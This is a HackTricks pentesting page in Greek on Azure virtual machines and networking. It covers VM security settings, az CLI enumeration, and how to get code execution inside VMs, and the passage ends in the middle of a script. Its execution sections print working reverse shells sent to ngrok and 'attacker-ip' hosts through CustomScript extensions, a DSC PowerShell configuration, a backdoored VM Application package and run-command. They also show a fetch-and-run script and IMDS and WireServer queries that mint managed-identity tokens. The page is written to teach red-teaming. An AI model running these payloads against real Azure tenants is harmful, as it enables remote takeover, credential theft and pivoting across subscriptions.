Az - Virtual Machines & Network

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Azure Networking Basic Info

Το Azure networks περιέχει διαφορετικές οντότητες και τρόπους να το ρυθμίσεις. Μπορείς να βρεις σύντομες περιγραφές, παραδείγματα και εντολές enumeration των διαφορετικών Azure network entities στο:

Az - Azure Network

VMs Basic information

Οι Azure Virtual Machines (VMs) είναι ευέλικτοι, on-demand cloud-based servers που σου επιτρέπουν να τρέχεις Windows ή Linux operating systems. Σου επιτρέπουν να κάνεις deploy applications και workloads χωρίς να διαχειρίζεσαι φυσικό hardware. Τα Azure VMs μπορούν να ρυθμιστούν με διάφορες επιλογές CPU, memory και storage για να καλύψουν συγκεκριμένες ανάγκες και να ενσωματωθούν με Azure services όπως virtual networks, storage και security tools.

Security Configurations

  • Availability Zones: Τα availability zones είναι ξεχωριστές ομάδες datacenters μέσα σε μια συγκεκριμένη Azure region, οι οποίες είναι φυσικά απομονωμένες ώστε να ελαχιστοποιείται ο κίνδυνος να επηρεαστούν πολλαπλές zones από τοπικά outages ή disasters.
  • Security Type:
  • Standard Security: Αυτός είναι ο προεπιλεγμένος security type που δεν απαιτεί κάποια συγκεκριμένη ρύθμιση.
  • Trusted Launch: Αυτός ο security type ενισχύει την προστασία από boot kits και malware σε kernel-level χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: Πέρα από το trusted launch, προσφέρει hardware-based isolation μεταξύ του VM, του hypervisor και του host management, βελτιώνει το disk encryption και more.
  • Authentication: Από προεπιλογή δημιουργείται ένα νέο SSH key, αν και είναι δυνατό να χρησιμοποιήσεις public key ή ένα προηγούμενο key και το username από προεπιλογή είναι azureuser. Επίσης είναι δυνατό να ρυθμιστεί ώστε να χρησιμοποιεί password.
  • VM disk encryption: Ο δίσκος είναι encrypted at rest από προεπιλογή χρησιμοποιώντας ένα platform managed key.
  • Είναι επίσης δυνατό να ενεργοποιήσεις το Encryption at host, όπου τα δεδομένα θα κρυπτογραφούνται στο host πριν σταλούν στο storage service, εξασφαλίζοντας end-to-end encryption μεταξύ του host και του storage service (docs).
  • NIC network security group:
  • None: Βασικά ανοίγει κάθε port
  • Basic: Επιτρέπει να ανοίξεις εύκολα τα inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Επίλεξε ένα security group
  • Backup: Είναι δυνατό να ενεργοποιήσεις Standard backup (μία φορά τη μέρα) και Enhanced (πολλαπλές φορές τη μέρα)
  • Patch orchestration options: Αυτό επιτρέπει την αυτόματη εφαρμογή patches στα VMs σύμφωνα με την επιλεγμένη policy όπως περιγράφεται στα docs.
  • Alerts: Είναι δυνατό να λαμβάνεις αυτόματα alerts μέσω email ή mobile app όταν συμβαίνει κάτι στο VM. Default rules:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: Από προεπιλογή ελέγχει το protocol HTTP στη θύρα 80
  • Locks: Επιτρέπει να κλειδώσεις ένα VM ώστε να μπορεί μόνο να διαβαστεί (ReadOnly lock) ή να μπορεί να διαβαστεί και να ενημερωθεί αλλά όχι να διαγραφεί (CanNotDelete lock).
  • Τα περισσότερα VM related resources also support locks όπως disks, snapshots…
  • Τα Locks μπορούν επίσης να εφαρμοστούν σε επίπεδο resource group και subscription

Disks & snapshots

  • Είναι δυνατό να enable to attach a disk to 2 or more VMs
  • Από προεπιλογή κάθε disk είναι encrypted με platform key.
  • Το ίδιο και στα snapshots
  • Από προεπιλογή είναι δυνατό να share the disk from all networks, αλλά μπορεί επίσης να restricted σε μόνο ορισμένο private access ή να completely disable public και private access.
  • Το ίδιο και στα snapshots
  • Είναι δυνατό να generate a SAS URI (μέγιστο 60days) για να export the disk, το οποίο μπορεί να ρυθμιστεί ώστε να απαιτεί authentication ή όχι
  • Το ίδιο και στα snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Ένα VM image είναι ένα template που περιέχει το operating system, τις application settings και το filesystem που χρειάζονται για να create a new virtual machine (VM). Η διαφορά ανάμεσα σε ένα image και ένα disk snapshot είναι ότι ένα disk snapshot είναι ένα read-only, point-in-time αντίγραφο ενός μόνο managed disk, που χρησιμοποιείται κυρίως για backup ή troubleshooting, ενώ ένα image μπορεί να περιέχει multiple disks and is designed to serve as a template for creating new VMs.
Τα Images μπορούν να διαχειριστούν στην Images section του Azure ή μέσα σε Azure compute galleries οι οποίες επιτρέπουν τη δημιουργία versions και το share του image cross-tenant ή ακόμη και τη δημοσίευσή του δημόσια.

Ένα restore point αποθηκεύει το VM configuration και point-in-time application-consistent snapshots of all the managed disks που είναι attached στο VM. Συνδέεται με το VM και ο σκοπός του είναι να μπορεί να επαναφέρει εκείνο το VM στην κατάσταση που είχε σε εκείνο το συγκεκριμένο σημείο.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Από τα docs: Το Site Recovery βοηθά να διασφαλιστεί η επιχειρησιακή συνέχεια, διατηρώντας τις business apps και τα workloads σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery replicates workloads που εκτελούνται σε φυσικές και virtual machines (VMs) από ένα primary site σε μια secondary location. Όταν συμβεί μια διακοπή στο primary site σου, κάνεις fail over σε μια secondary location και αποκτάς πρόσβαση στις apps από εκεί. Αφού η primary location επανέλθει σε λειτουργία, μπορείς να κάνεις fail back σε αυτήν.

Azure Bastion

Το Azure Bastion επιτρέπει ασφαλή και απρόσκοπτη πρόσβαση Remote Desktop Protocol (RDP) και Secure Shell (SSH) στις virtual machines (VMs) σου απευθείας μέσω του Azure Portal ή μέσω ενός jump box. Με την εξάλειψη της ανάγκης για public IP addresses στις VMs σου.

Το Bastion αναπτύσσει ένα subnet που ονομάζεται AzureBastionSubnet με netmask /26 στο VNet στο οποίο χρειάζεται να λειτουργήσει. Έπειτα, επιτρέπει τη σύνδεση σε internal VMs μέσω του browser χρησιμοποιώντας RDP και SSH, αποφεύγοντας την έκθεση των ports των VMs στο Internet. Μπορεί επίσης να λειτουργήσει ως jump host.

Για να εμφανίσεις όλα τα Azure Bastion Hosts στη συνδρομή σου και να συνδεθείς σε VMs μέσω αυτών, μπορείς να χρησιμοποιήσεις τις ακόλουθες εντολές:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Το Azure Instance Metadata Service (IMDS) παρέχει πληροφορίες σχετικά με τα running virtual machine instances για να βοηθά στη διαχείριση και τη ρύθμισή τους. Προσφέρει λεπτομέρειες όπως το SKU, το storage, τις network configurations και πληροφορίες για επερχόμενα maintenance events μέσω REST API διαθέσιμου στη μη δρομολογήσιμη IP address 169.254.169.254, η οποία είναι προσβάσιμη μόνο από μέσα στο VM. Η επικοινωνία μεταξύ του VM και του IMDS παραμένει μέσα στον host, εξασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται query στο IMDS, τα HTTP clients μέσα στο VM θα πρέπει να παρακάμπτουν web proxies για να εξασφαλίζεται σωστή επικοινωνία.

Επιπλέον, για να γίνει contact με το metadata endpoint, το HTTP request πρέπει να έχει το header Metadata: true και δεν πρέπει να έχει το header X-Forwarded-For.

Όταν ζητείται ένα access token από το metadata endpoint, by default το metadata service θα χρησιμοποιήσει το system assigned managed identity για να δημιουργήσει το token, αν υπάρχει system assigned managed identity. Σε περίπτωση που υπάρχει μόνο ONE user assigned managed identity, τότε αυτό θα χρησιμοποιηθεί by default. Ωστόσο, σε περίπτωση που δεν υπάρχει system assigned managed identity και υπάρχουν multiple user assigned managed identities, τότε το metadata service θα επιστρέψει ένα error που θα δείχνει ότι υπάρχουν multiple managed identities και είναι απαραίτητο να specified ποιο θα χρησιμοποιηθεί.

Δείτε πώς να το enumerate στο:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Code Execution in VMs

VM Extensions

Τα Azure VM extensions είναι μικρές εφαρμογές που παρέχουν post-deployment configuration και automation tasks σε Azure virtual machines (VMs).

Αυτό θα επέτρεπε την εκτέλεση arbitrary code μέσα σε VMs.

Το απαιτούμενο permission είναι Microsoft.Compute/virtualMachines/extensions/write.

Είναι δυνατό να εμφανίσεις όλα τα διαθέσιμα extensions με:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Είναι δυνατό να εκτελέσετε custom extensions που τρέχουν custom code:

  • Εκτέλεσε μια revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Εκτέλεση ενός script που βρίσκεται στο internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Σχετικές επεκτάσεις VM

Το απαιτούμενο permission εξακολουθεί να είναι Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Αυτή η extension επιτρέπει την τροποποίηση του password (ή τη δημιουργία του αν δεν υπάρχει) των χρηστών μέσα σε Windows VMs.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Αυτή είναι μια VM extension που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για τη διαχείριση της ρύθμισης παραμέτρων των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετων εντολών σε Windows VMs μέσω αυτής της extension:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Αυτό είναι ένα VM extension που επιτρέπει την εκτέλεση runbooks σε VMs από έναν automation account. Για περισσότερες πληροφορίες ελέγξτε το Automation Accounts service.

VM Applications

Αυτά είναι packages με όλα τα application data και install και uninstall scripts που μπορούν να χρησιμοποιηθούν για να προστεθούν και να αφαιρεθούν εύκολα application σε VMs.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Αυτές είναι οι διαδρομές όπου γίνεται το download των applications μέσα στο file system:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Δες πώς να εγκαταστήσεις νέα applications στο https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

Είναι δυνατό να μοιραστούν μεμονωμένα apps και galleries με άλλα subscriptions ή tenants. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν attacker να backdoor ένα application και να pivot σε άλλα subscriptions και tenants.

Αλλά δεν υπάρχει “marketplace” για vm apps όπως υπάρχει για extensions.

Τα permissions που απαιτούνται είναι:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Παράδειγμα exploitation για να εκτελέσεις arbitrary commands:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

Αυτά είναι persistent data που μπορούν να ανακτηθούν από το metadata endpoint οποιαδήποτε στιγμή. Σημείωσε ότι στο Azure τα user data είναι διαφορετικά από το AWS και το GCP επειδή αν βάλεις ένα script εδώ δεν εκτελείται από default.

Custom data

Είναι δυνατό να περάσεις κάποια data στο VM που θα αποθηκευτούν σε αναμενόμενα paths:

  • Στα Windows τα custom data τοποθετούνται στο %SYSTEMDRIVE%\AzureData\CustomData.bin ως binary file και δεν γίνεται processing.
  • Στο Linux αποθηκευόταν στο /var/lib/waagent/ovf-env.xml και τώρα αποθηκεύεται στο /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: Δεν κάνει process τα custom data από default, χρειάζεται custom image με τα data enabled
  • cloud-init: Από default κάνει process τα custom data και αυτά τα data μπορεί να είναι σε several formats. Θα μπορούσε να εκτελέσει ένα script εύκολα στέλνοντας απλώς το script στα custom data.
  • Το δοκίμασα και τόσο το Ubuntu όσο και το Debian εκτελούν το script που βάζεις εδώ.
  • Επίσης δεν χρειάζεται να ενεργοποιήσεις τα user data για να εκτελεστεί αυτό.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Εκτέλεση Εντολής

Αυτός είναι ο πιο βασικός μηχανισμός που παρέχει το Azure για να εκτελεί arbitrary commands σε VMs. Το απαιτούμενο permission είναι Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Τα Azure VMs εκθέτουν internal platform endpoints που χρησιμοποιούνται για configuration, metadata retrieval και identity management. Η κατανόηση της διαφοράς μεταξύ τους είναι κρίσιμη για enumeration, privilege escalation και post-exploitation.

Wire Server (Azure Fabric Endpoint)

Το Azure WireServer είναι ένα internal Azure IP (168.63.129.16) που χρησιμοποιείται από την platform για να επικοινωνεί με το VM.

Είναι υπεύθυνο για:

  • Communication με το VM Agent
  • Παράδοση:
  • GoalState
  • ExtensionsConfig
  • Internal VM configuration (including identities)
  • DHCP & DNS services
  • Health monitoring

GoalState & ExtensionsConfig

Το GoalState αντιπροσωπεύει το desired configuration of the VM όπως ορίζεται από το Azure. Μπορεί να περιλαμβάνει:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

Το ExtensionsConfig περιέχει λεπτομερή configuration των VM extensions και μπορεί να περιλαμβάνει:

  • User Assigned Managed Identities
  • Extension settings
  • Secrets (ανάλογα με το extension)

Αυτά τα endpoints συνήθως προσπελαύνονται μέσω:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Σκέψεις πρόσβασης

Το WireServer IP είναι γενικά προσβάσιμο από μέσα στο VM μέσω του guest network stack. Δεν περιορίζεται μόνο στο Azure VM Agent, Run Command, ή στα VM extensions. Η Microsoft μάλιστα τεκμηριώνει παραδείγματα agentless Linux provisioning όπου συνηθισμένα in-guest scripts κάνουν query το GoalState απευθείας από 168.63.129.16.

Ωστόσο, δεν θα έχει απαραίτητα κάθε process το ίδιο πρακτικό αποτέλεσμα:

  • Ορισμένα endpoints απαιτούν Azure-specific headers, όπως x-ms-version: 2012-11-30 για το GoalState.
  • Τοπικοί guest controls μπορούν να μπλοκάρουν ή να αλλάξουν την πρόσβαση, συμπεριλαμβανομένων των host firewall rules, proxies, routes, network namespaces, containers, ή endpoint protection.
  • Τα VM extensions και το Run Command συνήθως εκτελούνται ως root/SYSTEM μέσω του VM Agent, οπότε μπορεί να παρακάμπτουν τοπικούς OS restrictions που επηρεάζουν έναν interactive user.
  • Ορισμένα data είναι agent/extension-specific και μπορεί να εξαρτώνται από το provisioning state του VM, το installed agent, τα configured extensions, ή τη managed identity configuration.

Επομένως, αν ένα request δουλεύει από το Run Command αλλά αποτυγχάνει από SSH, η συνήθης εξήγηση είναι διαφορά σε OS user, environment, routing, proxy, firewall, ή namespace, όχι ένας γενικός Azure κανόνας ότι μόνο agent execution contexts μπορούν να προσεγγίσουν το 168.63.129.16.

Σε lab testing αυτή η διάκριση ήταν ορατή: η εκτέλεση μέσω Linux/Windows VM Agent από Run Command ή Custom Script extensions μπορούσε να προσεγγίσει το GoalState στο 168.63.129.16, ενώ μια κανονική SSH session σε άλλο Linux VM μπορούσε ακόμη να προσεγγίσει το IMDS αλλά έκανε timeout όταν έκανε query το GoalState. Αντιμετώπισε το WireServer/GoalState ως χρήσιμο αλλά εξαρτώμενο από το environment· μην βασίζεσαι σε αυτό ως τον canonical τρόπο για να enumerate managed identities.

Managed Identity Access From Inside the VM

Ο αξιόπιστος τρόπος να χρησιμοποιήσεις τα managed identities ενός VM είναι το IMDS managed identity endpoint στο 169.254.169.254, όχι το WireServer ExtensionsConfig XML. Scripts που ψάχνουν μόνο το ExtensionsConfig για UserAssignedIdentity nodes δεν είναι αξιόπιστα επειδή:

  • Η assigned managed identity του VM δεν είναι εγγυημένο ότι θα αναπαρίσταται ως UserAssignedIdentity nodes στο extension XML.
  • Χάνουν τα system-assigned managed identities.
  • Βρίσκουν user-assigned identities μόνο αν το τρέχον GoalState/extension data τυχαίνει να εκθέτει το αναμενόμενο XML shape.

Το documented security model της Microsoft είναι ότι όλος ο code που εκτελείται στο VM μπορεί να ζητήσει tokens για τα managed identities που είναι διαθέσιμα σε εκείνο το VM. Αυτό επιβεβαιώθηκε από:

  • Linux SSH ως κανονικός VM user.
  • Linux Run Command μέσω του VM Agent.
  • Linux Custom Script extension μέσω του VM Agent.
  • Windows Custom Script extension ως NT AUTHORITY\SYSTEM.

Σε όλα αυτά τα contexts, το IMDS μπορούσε να mint tokens για Management, Microsoft Graph/Entra ID, Key Vault, και Storage όταν το requested identity ήταν διαθέσιμο στο VM.

Υπάρχουν δύο διαφορετικά προβλήματα που είναι εύκολο να μπερδευτούν:

  • Λήψη token για γνωστό identity: Αν το identity είναι assigned στο VM, το IMDS μπορεί να εκδώσει tokens για διαφορετικά audiences όπως https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, και https://storage.azure.com/. Αν υπάρχουν πολλά user-assigned identities, ζήτησε ένα συγκεκριμένο με client_id, object_id, ή msi_res_id.
  • Εντοπισμός κάθε attached identity από μέσα στο VM: Το IMDS δεν παρέχει ένα απλό endpoint “list all identities”. Μια πρακτική μέθοδος είναι να πάρεις ένα default Management token, να διαβάσεις το VM resource μέσω ARM, και να εξετάσεις το identity property. Αυτό λειτουργεί μόνο αν εκείνο το managed identity έχει permissions όπως Microsoft.Compute/virtualMachines/read στο VM. Αν το ARM επιστρέψει 403, το token μπορεί ακόμη να είναι έγκυρο και χρήσιμο, αλλά δεν μπορεί να enumerate την πλήρη λίστα identities του VM.

Αν η ανακάλυψη μέσω ARM αποτύχει, μπορείς ακόμα να δοκιμάσεις WireServer/HostGAPlugin sources όπως το GoalState και http://168.63.129.16:32526/vmSettings για να ψάξεις για identity-looking fields (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) και μετά να ζητήσεις από το IMDS tokens με αυτά τα selectors. Αυτό είναι fallback, όχι εγγύηση: αυτά τα endpoints εξαρτώνται από το context και μπορεί να μην εκθέτουν καθόλου managed identity selectors.

Τα παρακάτω examples ζητούν πρώτα ένα token. Μετά προσπαθούν να διαβάσουν το VM resource από το Azure Resource Manager και να εκτυπώσουν το identity property του. Το δεύτερο βήμα λειτουργεί μόνο αν το managed identity έχει permissions όπως Microsoft.Compute/virtualMachines/read στο VM.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
